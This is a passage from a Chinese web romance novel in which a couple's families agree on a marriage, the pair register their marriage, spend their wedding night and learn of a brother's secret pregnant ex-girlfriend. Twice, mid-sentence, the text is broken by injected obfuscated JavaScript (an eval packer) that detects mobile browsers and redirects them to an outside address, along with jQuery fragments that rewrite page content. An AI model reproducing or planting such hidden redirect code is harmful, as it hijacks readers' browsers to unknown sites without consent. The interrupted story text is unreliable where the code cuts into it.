这天天气不错,姚长安正上着班,爸妈来了。 她很意外,赶紧从收银台后面走出来:“爸,妈,你们怎么这么憔悴?” 刘克信一想到西北之行的遭遇就义愤填膺,跟一个不要脸的贱人斗智斗勇了好几个月,不憔悴才怪了,还好,他们赢了。 她把刚刚办完的军属证明递过来:“你瞧,这是什么?” 姚长安一看,顿时喜出望外:“爸爸找到爷爷了?那我奶奶呢?她还好吗?我是不是还有个小叔叔或者小姑姑?” 两口子面面相觑,女儿这炮仗脾气,还是不要知道真相为好。 他们撒了个善意的谎言,说奶奶坐车去的时候,下车摔了一跤,大出血死了。 爷爷挖隧道也出了事,被炸伤了脑子,失忆了,所以不记得这里有个儿子,后来就再婚了。 好在科技进步,父子俩做了亲子鉴定,这才走流程,确定了军属身份。 姚长安虽然接受了这套说辞,但还是觉得哪里怪怪的,可惜不管她怎么追问,爸妈都是这一套说辞,她只能放弃。 斯人已逝,往前看吧。 往好了想,以后她爸爸的医保和养老金就有特殊照顾了,真好! 她赶紧给温怀瑾打了个电话,约他晚上下班后一起吃个饭。 机会难得,温怀瑾干脆给他爸爸去了个电话,两边家长见个面,正好把结婚的事商量一下,这都阳历六月了,距离他跟姚长安的半年之约没多久了。 34. 领证(二更) 温怀瑾的爸爸叫温定方,辞职下海后从事的是外贸行业,平时忙得跟陀螺一样,得知来了贵客,他赶紧放下了手里的事情,定了个桌位。 那是一家新开的高端酒楼,跟新道口只隔了两条街,温定方西装革履的,带着小女儿温佑琪一起赴约。 席上他郑重表达了对姚长安一家搭救他二儿子的谢意,还给姚长安包了个红包,看厚度,不低于一万块。 礼数周到,出手大方,无可挑剔。 姚良远对这个准亲家印象良好,只是好奇:“怀瑾妈妈怎么没有过来?” “老二媳妇快生了,她走不开。”温定方很是歉意,寒暄道,“听说你们二位刚从兵团回来?” “对,找长安的爷爷办了点事。”姚良远并不是个喜欢显摆的人,不过,既然他有个团级干部的爹,自然要让准亲家知道,以后他闺女才不至于被欺负。 温定方多少知道一点他家的事,好奇道:“哦?你找到令尊了?” “嗯,做了个亲子鉴定,来回跑了好几次,可算是把证明办下来了。”姚良远把酒瓶拿开,让服务员给他和刘克信上一瓶椰汁。 温定方理解,这年头办手续流程相当复杂,不过科技在进步,再过几年,相关部门就会全面推行电子化办公,他感慨道:“那确实不容易。令尊退休了吧?需要你们养老吗?” “不用,他退下来的时候是团级干部,养老金很高。我那边还有弟弟妹妹,有他们照顾,没我什么事。”姚良远笑着接过椰汁,还没拧盖子,就被姚长安抢了过去,由她给爸爸妈妈倒果汁。 温定方瞧着这孩子挺懂事的,正准备夸两句,便看到自己儿子也起来了,有样学样,拿着启瓶器,开盖后帮他倒了杯酒。 呦,真不错,儿媳妇还没进门,他这大儿子就开始妇唱夫随了。怀瑾这小子,看来是动真格的了。 温定方赶紧看了小女儿一眼,人姚长安往这边走过来了,她是做妹妹的,哪能让未来大嫂给自己倒果汁。 温佑琪是个小明星,平时被人伺候惯了,根本不懂长辈看重的这些礼数,见状只得接过椰汁,给自己倒上,刚准备坐下,她爸又瞪她,她只好走过去,给哥哥嫂子也满上。 姚长安说了声谢谢,面带微笑,很是客气,温佑琪也笑了笑,只是那笑带着一丝惆怅,一种独生子女无法理解的惆怅。 毕竟以前家里兄妹三个,热热闹闹的,现在只剩她自己了。 她忍不住冲温怀瑾嘀咕道:“真讨厌,你们都结婚了,没人陪我玩了。” 温怀瑾知道她小孩子脾气,没说什么,倒是温定方,不想让女儿失了礼数,赶紧道歉:“真不好意思,小女被惯坏了,有点孩子气。” “没事没事,说明他们兄妹情深。”姚良远很是善解人意,谁家女儿不是宝贝呢,有点小脾气也正常,父母宠的。 温定方感觉这未来亲家还挺好相处的,干脆把话题转到婚事上,敞开了说:“上个月怀瑾跟我提了个事,他准备换一套大房子做婚房。我这里自然没有问题,可以全款,一次付清。我是想征求一下你们的意见,如果两个孩子真打算更进一步,你们有什么要求吗?” 比如房子加名,或者婚前财产公证? 姚良远跟刘克信对视一眼,决定先不提要求,看看温家的态度。 于是姚良远问道:“你们家二小子结婚是什么标准?” “没有标准。”温定方非常无奈,“见笑了,他是上门女婿,婚房是女方置办的,婚礼也是女方操办的,以后孩子也跟女方姓,我只出面丢了个人。所以,我这大儿子恐怕是我唯一的指望了。我不会亏待他的,你们放心。” 姚良远低头跟刘克信商量了一下,应道:“既然这样,如果两个孩子真有结婚的意愿,房子就两家合买吧,房本写两个孩子的名字,这样谁也不吃亏。” 温定方还挺意外的,他以为在他表态之后,女方爸妈会要求他这边全款,房本写小两口的名字。 毕竟他认识的很多人家都是这样的,就连张浩家里也因为买房的事僵持住了。 他不得不佩服大儿子的眼光,这老丈人和丈母娘挺敞亮,可以处! 他想了想,道:“既然你们这么好说话,那我单独赠予长安一百万做彩礼吧。房款两家各出一半,写两个孩子的名字。”这么一来,就算小两口以后吵个架什么的,也说不出什么这是我家,你给我出去这类的气话。 毕竟那是两个人共同出资的家,谁也不能赶谁走。 至于那一百万,本来就是他打算送给姚家感谢救命之恩的,买他二儿子一条命,不亏。 这下换姚良远跟刘克信震惊了,他们也没有想到,温家爸爸还挺大气的。 其实就算换一套大房子,也用不了一百万,这一百万彩礼,属实是大手笔了。 当然了,他们家是独生女,肯定会陪嫁一笔嫁妆,最后这两笔钱还是花在小家庭上。 但是男方爸爸能有这个态度,真的让他们欣慰。看来女儿的眼光不错,给自己挑了个好婆家! 他们没有意见,姚良远笑道:“那就等两个孩子的好消息了。” 温定方举杯,又问道:“车子需要备一部吧?” “那倒不用,两个孩子都有车,没必要浪费。”姚良远还是挺会过日子的,不该花的钱不花。 温定方笑道:“那好,下周我有时间,你们有空的话,过来一起看房吧。” “也好,有备无患。”姚良远也不想拖,女儿都二十三了,女婿二十七了,趁着他和刘克信还年轻,让小两口早点成家吧,以后有了孩子,他们还能搭把手。 两家家长就这么说定了,好像婚事已经板上钉钉了。 一旁的温佑琪惊叹道:“不是吧,这么快啊,不是才谈了小半年吗?” “小半年不短了,这么多年了,你大哥什么时候带女孩子见过家长?”温定方看人还是很准的,他这大儿子的婚事稳得很,不会有变化。 姚良远明白,这是变相地夸温怀瑾不滥情,不乱来,他怎么好输这一程呢,赶紧夸起自家女儿:“我们家安安也是头一次带男生回家,我跟她妈妈也看好他们!” 议论声中,小情侣正旁若无人地给对方夹菜,你来我往的,好生亲昵。 刘克信一个劲地冲姚良远眨眼睛,稳的,这女婿跑不了了。 结账的时候,两家爸爸抢着付钱。 温佑琪落后一步,小声跟温怀瑾嘀咕道:“姚叔叔跟刘阿姨不愧是做生意的,做事就是体面,你没看到我跟爸爸去首都的时候,受了二嫂一家好大的气呢。” 温怀瑾不想议论未来的老丈人和丈母娘,飞了个眼刀子,让妹妹闭嘴。 温佑琪立马躲到姚长安那边,扯着她的胳膊撒娇:“大嫂,你管管我哥,他凶我!” 姚长安被这一声大嫂弄得有点尴尬,不过……她看了眼身边的男人,是他主动提议让家长见面的,也是他在她不知道的时候,就跟他爸要求准备婚房了。 他应该比她还认真,毕竟她都没有想过婚房的事。 那就……那就提前上岗好了。 她这位新晋大嫂,赶紧管了管身边的男人:“你温柔点,琪琪还小呢。” “就是,我还小呢,还是大嫂疼我。”温佑琪挽着姚长安的胳膊,把人拽到自己怀里,不给她哥哥了,哼! 温怀瑾看到她们姑嫂相处融洽,那真是求之不得,赶紧自己一边儿待着去,当个电灯泡也挺好。 从酒店出来时间还早,温定方又邀请姚长安一家去别墅坐坐。 姚长安还是第一次到未来婆家,不禁咋舌,原来温家是真的有钱啊。 一套独栋别墅,不便宜呢。 不过温定方对三个孩子都很吝啬,他要求他们必须自己闯荡,除了结婚,事业上他是不会提供任何帮助的。 温怀瑾小时候家里还是普通的双职工家庭,所以他没有什么好吃懒做的毛病,自力更生做了刑警。 温枕瑜就不一样了,他出生的时候爸妈正处于事业上升期,家里条件好了不少,他又是爷爷奶奶带大的,从小泡在蜜罐里,自然不想吃苦,只想不劳而获。 到了温佑琪出生,他们家已经是小县城独一档的好条件了,自然有条件富养女儿。 这么一对比,物质丰富有时候反而会滋生惰性和贪婪,尤其是在小孩的成长阶段,需要长辈正确的引导,才不至于走上歧途。 姚长安心中感慨万千,回过神来,已经被温怀瑾牵着,带到了楼上他的房间。 挺符合她想象的一个房间,一张床,一张桌,一个衣柜,一排书架,书架上的书不是很多,大多数被他搬去了现在的住处,她见过,都是刑侦类的书籍和侦探悬疑小说。 角落里还有一套鬼故事,空下来的格子里摆着清一色的仙人掌,是个看起来单调、乏味、无趣的宅男书呆子的房间。 尤其是床上用品,用的还是学校宿舍统一的蓝格子系列,深蓝浅蓝跟白色交替,一看就让人涌起无尽的怨念,好像回到了起早贪黑的学生时代。 跟他自己住处的风格如出一辙,不过在她去过几次之后,那边的床单被套已经换了,明明她什么也没说。 姚长安忍不住笑了:“你这房间,还挺有特色的嘛。” 温怀瑾知道她在哄他开心,老脸一红:“别骗我了,你不喜欢。” “你怎么知道的?”姚长安歪着头,好奇地打量着她的刑警男朋友。 温怀瑾一把捂住她的眼睛:“不准看了,明天我就回来把四件套换了。” 姚长安恍然,看来是她的眼睛出卖了她,她笑着拿开他的膀子,认真道:“你跟我说实话,你真的喜欢你房间里的风格吗?” “我喜欢你那里的风格,可是我不知道为什么自己房间会是这样。”温怀瑾确实有点茫然,遇到姚长安之前,他的生活是机械的,乏味的,单调且没有色彩。 遇到她之后,他才好像活了过来,变成了一个拥有了喜怒哀乐的,有血有肉的人,活人。 他紧紧地抱着这个女人,在她耳边低喃:“要不等你有空,我们一起来换好不好?” 毕竟逢年过节的时候,是要回来看看长辈的。 姚长安抬头,蹭了蹭他刚冒出来的胡茬:“好。” 两人腻歪了好一会儿,才回到楼下客厅,听长辈聊天。 两家毕竟不熟,温定方公司又来电话催他开会,所以聊天很快结束,姚长安的爸妈也回去了。 姚长安跟温怀瑾把她爸妈送上火车,便回到了姚长安的住处。 见她有些惆怅,温怀瑾赶紧关心一下:“你怎么了?” “我奶奶好可怜。”姚长安默默叹气,“吃饭的时候不想煞风景,我就没提,我奶奶死了。” “老人家怎么没的?”温怀瑾从来没有见她这么伤春悲秋的,赶紧坐在她身边,拍拍她的肩膀,给她力量。 姚长安抱着他的胳膊,分享自己的悲欢:“说是怀着孩子,摔死了。这也太可怜了!我那个爷爷还失忆了,娶了别的女人。可是我总觉得哪里不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990513|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你帮我分析一下?” 温怀瑾没想到还有这样的故事,赶紧把她抱在怀里安慰。 女孩子总是容易共情女性长辈的,这很正常,她能主动向他倾诉,他深感荣幸,分析道:“确实,就算她死了,那姚叔叔寄过去的信呢?你爷爷难道收不到?肯定有人扣留了信件,强行让他们父子分离。” 姚长安也是这么想的,就是不知道这个人到底是谁,又是出于什么目的? 温怀瑾沉思片刻,出于谁获利最大谁嫌疑最大的原则,他怀疑道:“目前来看,你爷爷后娶的那个女人最有嫌疑。你别急,我朋友也在打听,快有消息了。” “好。”姚长安依偎在他怀里,莫名惆怅,“你说,如果有一天,有人使坏让我们分开,我不见了,你会找别的女人度过下半生吗?” 温怀瑾不假思索:“不会!如果你不见了,我绝对不会就这么算了,我会一直找,一直找!如果你没了,那我就去地府陪你。” “别胡说!”姚长安赶紧堵住他的嘴,两人才处了小半年的男女朋友,哪里就要他堵上性命来发誓了? 她不喜欢这种不吉利的话。 温怀瑾却认真道:“我没有胡说。长安,我有没有说过,我在火车上就——” “别说了,我信你。”姚长安单手搂着他的脖子,脑袋在他下巴上蹭了蹭,胡茬扎人,但她就是喜欢这样。 腻歪了一会儿,她没忍住,直接把人推倒在沙发上,亲他,吻他,掠夺他嘴里的空气,撕扯他的衣服,撩拨他,轻薄他。 好像只有这样,才能证明男女之间的爱情不只有过眼云烟的轻浅,也有刻骨铭心的厚重。 一时上头,差点把她男朋友给办了。 还好最后关头她恢复了理智,只得臊红了脸,坐在旁边平复心情。 温怀瑾的衬衫扣子都被她扯掉了两颗,即便扣上剩下的几个,也是一副被糟蹋了的样子。 他哭笑不得,握着她的双肩控诉:“长安!” “嗯?”姚长安心虚,别过头不看他。 他只能趴在她肩头,压下内心的躁动,轻声呢喃:“半年太久了,我们结婚吧。” “你说话不算数。”姚长安其实等这句话很久了,可她难为情,还得做做样子。 温怀瑾干脆把她摁在怀里,满是恳切:“一生也就这么长,干嘛还要再浪费一个多月?你不想跟我在一起生活吗?到时候你可以随心所欲地糟蹋我。” 姚长安噗嗤一声笑了:“讨厌!谁糟蹋你了?” “是是是,我一个大老爷们儿,怎么好用这种字眼呢?真不害臊!”温怀瑾态度端正,积极改正错误,“那……你难道不想抱着火炉睡觉吗?冬天还省了空调电费。” “那我惨了,夏天得开两个空调!”姚长安嘴上不饶人,心里美滋滋的,手也不老实,到处乱摸。 温怀瑾受不了了,一把摁住:“没事,换个大功率的就行了,超大的,最大的。” 姚长安笑了,花枝乱颤的,一把搂住他的脖子,亲了再说。 差点又把男人给糟蹋了,还好这男人是个老古板,非要先结婚才肯被糟蹋。 两人第二天就请假一个小时去领了结婚证,至于婚礼,不着急,什么时候有空再说吧。 领了证是开心了,先斩后奏的善后工作却成了问题。 姚长安把心一横,给家里打了个电话:“爸,妈,你们觉得温怀瑾怎么样啊?” “挺好的呀!”刘克信不知道女儿突然问这个做什么。 姚长安耍宝,故意道:“哦,那我要是跟他吹了,那是不是挺可惜的?” “哎呦我的乖宝,好端端的怎么吹了呢?出什么事了?” “没什么事,就是随口一问。他跟我求婚来着,我说我考虑一下。” “那你考虑了吗?” “我就是不知道要不要答应,所以找你们参考一下。” “乖宝,人小伙子挺不错的,对你诚心诚意的,我和你爸爸都信得过他。既然他都求婚了,你就答应呗。” “哦,那我先领证了?婚礼等他有假了再说。” “行啊,我跟你爸爸没意见。婚房什么时候买?婚礼你准备在哪里办?”刘克信赶走内心的阴霾,振作起来,准备给女儿操办婚事。 姚长安说随便,刘克信急了,这可是人生大事,怎么好随便呢?亲戚朋友要笑话的。当即挂了女儿电话,准备打给亲家公商量一下。 没想到温定方的电话先打了过来。 温怀瑾的善后工作比较高效,直接通知了他爸一声:“爸我今天跟长安领证了,婚房和婚礼交给你了。” 温定方虽然有两个儿子,可是老二做了上门女婿,完全不给他发挥的空间,所以他很珍惜给大儿子操办婚礼的机会,当即跟姚长安爸妈改约了时间,明天一起去看房。 要挑个好的,大的,生活配套齐全的,最好是大三房,以后儿媳妇怀孕了,方便亲家母过来照顾。 * 夏日的夜晚姗姗来迟,下班回来的小两口看着桌子上的红本本,像两只红脖子鸵鸟,对坐在沙发两端,低着头埋在看不见的沙子里,谁也不好意思开口说话。 最终是温怀瑾腹中的轰鸣解了围,两人不约而同站起来,要去厨房做饭。 温怀瑾一把摁住姚长安:“老婆,随便吃点什么好不好?” “好。”姚长安声音闷闷的,带着新婚的羞涩。 温怀瑾笑着亲吻她的额头:“那你等着,我去下两碗面条。” 35. 新婚 结婚有很多种,有包下海岛,在无数镜头前深情告白,举世皆知,然后三五年就离了的;也有欢聚酒楼,在亲朋期待中海誓山盟,欢闹嬉笑,然后慢慢归于平淡的。 相比于前者的轰动与灿烂,后者才是常态。但是姚长安更喜欢她跟温怀瑾的结婚。 全世界,只有他们两个人庆祝,不被打扰,不被窥探。 他们甚至连个仪式都懒得费心准备,只想在细水流长的日子里,安静地品尝这一份喜悦,这一份感动。 吃完面条,两人便心照不宣的,一个洗澡,一个洗碗。 洗完碗的先出来,收拾床铺去了;洗完澡的出来一看,客厅里没人,便下意识走向了卧室。 男人的卧室朝南,外面接着一个大阳台,布置简单,毫无个性可言,床上曾经铺着那张毫无趣味的格子床单,却在她来了几次之后,换成了可爱的暖色系。 房间里也多了几盆花草,月季四季常开,洋甘菊小巧精致,绣球绚丽热烈,天堂鸟骄傲自信…… 每一盆,都是她随口一说,第二天就有了。 他把她的每一句话都放在心上,很用心,很认真,真好。 不过,因为领证的决定来得突然,两人又在上班,所以没空去买大红的床单,不过暖暖的金黄色,也挺好的。 姚长安擦干头发,羞涩地站在一旁,拿着梳子,慢条斯理地打理着头发。 整理好床铺的男人看了眼自己的新婚妻子,刚洗过澡,发丝还没有完全干,好在夏天气温高,应该不至于着凉。 他还是拿起吹风机,帮她吹了吹,每一丝每一缕,都像是自带生命力,伴随着她的笑声,她的问候,她的陪伴,慢慢地往他的生命里钻。 不知不觉间,她这个人就在他的心里扎了根,发了芽,出了苗,抽了条,回过神来的时候,已经长成了参天大树,牢牢地占据了他的全部内心。 他真的好幸运,居然遇到了这么一个可爱的女人,可以相伴一生,共赏风月。 给她吹完头发,他还不忘把吹风机的电线整理好,再放归原处,他就是这么一个一丝不苟、毫无趣味的男人。 他有时候甚至怀疑,她到底看上他什么了? 不过这都不重要了,他会努力学着让自己有趣起来,让自己精彩起来,跟她一起,活成最绚烂的盛夏。 一时情动,没忍住,捧着她年轻的面庞,深深地亲吻。 姚长安手里的梳子掉了,整个人化作了一株藤蔓,紧紧地缠绕,不肯松开。 情到浓时,男人却落荒而逃:“不行,我得洗洗,不然你容易生病。” 等他冲进浴室,连衣服都没脱就放了水,回过神来,才想起自己忘拿换洗衣服了,连毛巾都在阳台挂着呢。 瞧他这没出息的样子,从小到大,什么时候出过这样的岔子? 现在出去也晚了,衣服已经脱了,也湿了,他总不能穿着泡水的衣服,水淋淋地在客厅走一圈,那不是糟践地板吗? 可是他也不能在浴室干耗着,只能关了花洒,喊道:“老婆……来一下。” 姚长安没想到他这么野,刚结婚就要她去浴室…… 她甚至做好了臊他一臊的准备,结果推门的时候,却被他死死地拦住了,隔着门板,一向骄傲的男人,无奈地求助:“别……别进来,我忘拿衣服和毛巾了。” 姚长安不厚道地笑了:“好吧,我错怪你了,我以为你要……” “我要什么?”温怀瑾问完就后悔了,这不是傻吗?还能是什么?鸳鸯浴呗,电视上又不是没看过。 完了,他在她老婆心里的形象塌了,她是不是以为他刚领证就玩得这么野?她是不是以为他是个不正经的坏男人? 放着好好的卧室不要,居然以洗澡没拿衣服为名,骗她来浴室…… 就在他想着怎么找补的时候,浴室门猛地被人从外面拉开了。 毫无遮拦的大男人,就这么猝不及防地暴露在了自己老婆面前。 他从她过分惊讶的眼中看懂了四个字——湿、身、诱、惑! 不是的,老婆你听我说…… 温怀瑾下意识想要转过身去,却见姚长安把衣服一抛,便红着脸出去了。 浴室门被关上,隔着门板,传来姑娘家戏谑的笑声:“你行不行啊温怀瑾同志,你这个记性,怎么当的刑警?快说,你是不是故意的?故意哄我进来,故意让我欣赏你的腹肌?故意诱惑我——” 我字还没说完,浴室门就被打开了,出言挑衅的姚长安,直接被拽了进去,一头撞进了男人湿漉漉的怀里。 耳边传来男人擂鼓般强有力的心跳声,前一秒还耀武扬威的姚长安,瞬间成了那条自投罗网的大笨鱼,双“鳍”无处安放,只好扑腾两下,豁出去,环住了男人的腰身,嗔怪道:“你干嘛?你不会真想在浴室……吧?” 是,他很想,可这是第一次,她需要时间适应,浴室这种环境,会弄疼她,弄伤她。 他不忍心。 温怀瑾忍得很用力,他连呼吸都乱了,却还是强作镇定,威胁道:“你不是说我故意的吗?那就成全你,你看,给你看。” “我不!”姚长安把额头贴在他的心口,没想到视野正好对着下面,不由得心中一惊,下意识推开了他,背过身去,“我出去了,你慢慢洗。肥皂我刚拆了一个新的,你要是不喜欢跟人合用,你就再拆一个——” “新的”还没有说出口,姚长安便被男人堵了嘴,连带着男人年轻的身体,傲人的腹肌,一并将她笼罩。 下意识的后退,却无处可退,后背抵在浴室光滑的墙壁上,身上轻薄的睡衣只能提供聊胜于无的摩擦力,让她的视野不断被拔高,拔高。 等她回过神来,男人强有力的臂弯已经成了她的座椅。 高处不胜寒,她只得下意识环住了男人的脖子,趴在他肩头,狠狠咬了一口:“你真想在这里啊?” “不是你说我诱惑你的吗?我担了这罪名,不诱惑一下不是亏了?”温怀瑾也不知道自己怎么了,脑子一热,就想看她惊慌失措的样子。 这一捉弄,把自己也捉弄得浑身难受,只得大喘着气,压制住那股原始的冲动。 他还没洗,他不能伤害她,哪怕只是不讲卫生。女孩子太脆弱了,稍微马虎一点,都有可能生病。 好在此时的姚长安,在他怀里很安静,安静得像个软绵绵的小乖兔。 他下意识抬头,看向她雾蒙蒙的眸子:“生气了?是我不好,吓到了你了。” “我才没有那么胆小。”姚长安嘴硬,哪怕满脑子都是不小心看到的那一抹风景,也要输人不输阵。 可惜她男人了解她,她的耳边传来一阵轻笑,耳垂轻轻地被男人咬住,齿尖摩挲,呢喃声声:“我快不行了,你出去等我好不好?不然这澡,一晚上都洗不完。” 姚长安的声音柔柔的,带着一丝羞涩:“那你放我下来。” 一落地,大笨鱼便扑腾着鱼鳍跑了。 温怀瑾笑着把门关上,拿起她用过的肥皂,好好地打一遍,去去油,去去汗。 一边搓洗一边庆幸,幸好他没有什么体毛,等她真正想欣赏他的腹肌的时候,才不至于拿不出手。 洗完澡,他又对着镜子好好整理了一下发型,这才穿着睡衣出去了。 卧室门半掩着,她应该不生气了吧?他轻轻地走过去,推开门,暖黄色的灯光下,年轻的姑娘正披散着一头浓墨般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997246|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长发,安静地坐在床畔,等待着她的新婚丈夫。 温怀瑾不由得心中一暖,轻轻地走过去,从身后环住了她的腰:“长安……” “嗯?”姚长安刚刚衣服湿了,她用吹风机吹干了,这会儿清清爽爽的,身上还有柠檬甜橙的清香。 她就这么仰着下巴,看着他那优越的下颌线,和那隆起的鼻峰,脑子里想的却还是那惊鸿一瞥的风景。 不由得脸颊滚烫。 都是成年人,都有基础的生理知识,都知道新婚之夜要做什么,可她就是难为情。 别看她刚才嚣张,也就过过嘴瘾,真到了实践的时候,完全失去了勇气,像个待宰的羔羊。 温怀瑾也好不到哪儿去,脑子里什么都懂,手上却笨拙得连她的扣子都解不开,他有些自嘲:“要不你教我。” 是盘花扣,她很喜欢的古典款式,她握住他的手,轻轻地在扣圈外围一捏,扣子便钻了出来。 原来新婚夜还能学到新知识,温怀瑾笑了,轻轻地解开另外几枚,又握着她的手,让她帮忙给他也解开。 姚长安很快反应过来:“你……你穿的是那件?” 那件被她扯崩了两个扣子的衬衫,省了两枚扣子的时间。 温怀瑾笑了:“对啊,洗了晾了,扣子还没缝上。” “你好坏!你故意臊我。”姚长安难为情了,想起之前自己差点把他办了,明明挺勇的,怎么今天成了合法夫妻,反倒是放不开手脚了呢? 真没出息! 豁出去了,她一把扯了他的衬衫,要让这个坏男人承受臊她的代价。 最后自然是玩火自焚,但却乐在其中。 良宵漫漫,人影成双,别有一番滋味在心头。 事后,姚长安搁浅在男人臂弯,不禁感慨:“你不累吗?我看你膝盖都红了。” “不累。”温怀瑾自己也没想到,他战斗力这么强,折腾了一个多小时,膝盖是红了,但那不算什么。 他翻了个身,趴在姚长安肩头问道:“要洗洗吗?” “我不。”姚长安才不上他的当。 温怀瑾笑着下床:“那我弄盆水,帮你擦擦,有汗,不然容易生病。” 也对,姚长安跟了下床:“那我洗洗吧。” 没想到羊入虎口,中计了! 可恨的浴室,为什么有一面大镜子,害她连躲都没处躲,腰酸背痛的,只怕第二天要起不来了。 好在明天不上班,她可以美美地睡个懒觉。 这一睡就到日上三竿,睁开眼,男人正坐在床前,西装革履的,像个绅士。 也不看看脖子上的牙印,装得一本正经的。 姚长安起床洗漱,回到卧室,便被男人圈在怀里:“长安,爸妈今天去看房了,我们去买戒指。” “爸妈?你的还是我的?”姚长安一时没有转过弯来。 温怀瑾埋在她发间轻声发笑:“你爸妈,还有我爸。我妈没回来,不管她。” “哦。”姚长安赶紧起身,“那我回去换套衣服。” “好。”两人转了一上午,买了一对金戒指,又买了两套大红的四件套,回来给两人的卧室都换上,沾沾喜气。 至于喜糖,等办婚礼再说吧。 几天后,两家长辈看好了房子,约小两口周末一起去看看,尽快定下来。 等到房子买好了,房本都到手了,婚礼也筹备得差不多了,远在北都的温家妈妈才收到了消息。 她很生气,在电话里质问温定方:“这么大的事,你也不跟我说一声?” “你帮老二藏了个女人在老家,你也没跟我说。”温定方只是通知她一声,不是跟她商量的,说完便挂了电话。 36. 大瓜(二更) 温家妈妈叫许冬琴,早年工作忙,住的又是筒子楼的单间,根本没办法把二儿子留在身边抚养。 她心中有愧,后来两口子升职,把老二接过来了,又嫌弃这孩子被他爷爷奶奶溺爱出一身臭毛病,少不得说他两句。 谁曾想,这孩子小时候还不怎么顶嘴,长大却变了个脾气,一说就拿话怼她,说她不爱他,要不然家里三个孩子,怎么偏偏就把他一个人扔在乡下了? 她拼了命的解释也没用,只得加倍弥补他,这不,连他在外面乱搞,她都愿意帮忙打掩护。 这会儿自己男人拆穿了她,她其实并不生气,毕竟比起没有人女人要的大儿子,二儿子的左拥右抱就显得很有本事了。 谁曾想,大儿子居然不声不响地谈了恋爱,连结婚证都领了,婚礼也筹备好了,只等着良辰吉时了。 现在只是通知她回去露个面,完全没有把她放在眼里。 这才是戳她肺管子的要害事件,她立马打了个电话过去,质问温怀瑾,眼里还有没有她这个妈! 温怀瑾新婚燕尔,正忙着跟老婆打情骂俏呢,接电话的时候也心不在焉的,闻言不客气地回道:“过年你回来了?” “没有。”许冬琴想说,那是特殊情况,没办法,她得照顾儿媳妇,毕竟老二工作忙。 没想到温怀瑾直接呛了她一句:“你都不回来了,我跟你说什么?” 许冬琴气死了:“不就是今年过年没回来吗?往年我在家,也没见你有个笑脸。” “那是我不爱笑。”温怀瑾说的是实话,他以前过的是什么日子?像个设定好的机器人,每天机械地重复着同样的生活,怎么笑得出来呢?可是他现在,每天都在笑。 感谢他的好老婆。 他没空听他妈妈狡辩,直接问道:“婚礼你来不来?” “老二媳妇快生了,我走不开。你们什么时候——”许冬琴正准备问问婚礼日期,就听温怀瑾啪的一下挂了电话,一点废话也不想说。 许冬琴气死了,又打了个电话过来,质问道:“你这孩子,脾气见长啊,谁教你的臭毛病!” 温怀瑾不想被坏了好心情,再次挂了电话,要不是担心警队那边找他,他连电池都想抠了。 想想还是给他老子去了个电话:“我妈找我吵架,你管管她。” 温定方头痛不已:“她说什么了?” “兴师问罪。” “不用管她。她可真好意思,她跟老二在外面玩了那些把戏,怎么好意思说你?不可理喻!别理她!” “什么把戏?”温怀瑾有点意外,下意识冲姚长安招了招手,快来老婆,有八卦。 姚长安正在布置新房呢,大三居,买在了广福路,附近不是学校就是医院的,很方便,离总统府也近。 闻言赶紧凑了过来,温怀瑾非常贴心地开了免提。 对面的温定方并不知情,叹气道:“还能有什么把戏?泡女人的把戏。你还不知道吧,他结婚之前谈了几个,有一个怀孕了,正在老家房子里养胎。” 什么?小两口震惊不已,你看看我,我看看你,不会是过年遇到的那个孕妇吧? 这么巧? 姚长安赶紧扯了扯温怀瑾的袖子,让他继续问。 温怀瑾当然要满足老婆的好奇心,问道:“谁啊?我怎么不知道?” 温定方觉得丢人,所以一直瞒着大儿子,现在自己说漏嘴了,还挺难为情的,叹气道:“你还是别问了,好好过你的日子吧。” 温怀瑾看了眼自己老婆,那眼中闪烁着好奇的火焰,于是他威胁道:“那以后闹起来别找我,我也忙。” 这招真管用,毕竟温定方还指望大儿子管管二儿子呢,赶紧告诉他:“是他上大学的时候谈的,叫卢小晓,我知道的时候已经怀孕六个多月了,没办法,只能让她生了。” 不是吧?原配成小三啊?姚长安无语了,这温枕瑜还不如不结婚呢,起码他的女人都是预备役,地位平等。 这一结婚,落差就来了,虽然前女友用原配这个词有点不合适,但就是这么个意思嘛。 她有点同情那个女人,小声比划道——预产期。 温怀瑾明白,问道:“这么说,她跟那个陆祯愉预产期差不多?” “据我所知,应该是的。”温定方脸上无光,叮嘱道,“你别声张,到时候不行就补偿人家一笔钱吧,我真是前世造孽,欠你弟弟的。” 温怀瑾不高兴了,冷哼一声:“他乱搞女人就能得补偿?” 温定方知道大儿子吃亏了,赶紧安慰道:“不是给他,是给人家女方的。你放心,爸爸心里有数,你要是愿意,我就把那一百万做个公证。” “我跟长安已经领证了,你公证说清楚,单独赠予给她,跟我没关系。”温怀瑾也是人,家里有个不断败家的弟弟,他自然不爽,要给自己老婆争取一下。 这可是大大方方结婚的大儿媳,不比老二那边入赘的强?不比外面那些藏着掖着见不得光的强? 想想就来气。 温定方知道,赶紧应下:“行,你让她有空给我个电话,约个时间,去一趟公证处。” “行。我妈那边你说说她。” “知道了。” 挂断电话,温定方头痛不已,赶紧给许冬琴又去了个电话,警告道:“你大儿媳妇是你二儿子的救命恩人,我拜托你,行行好,帮帮忙,不要去打扰怀瑾他们小两口生活。不然我就让卢小晓去陆家,我看你怎么收拾!” 姜还是老的辣,一通电话,许冬琴怂了。 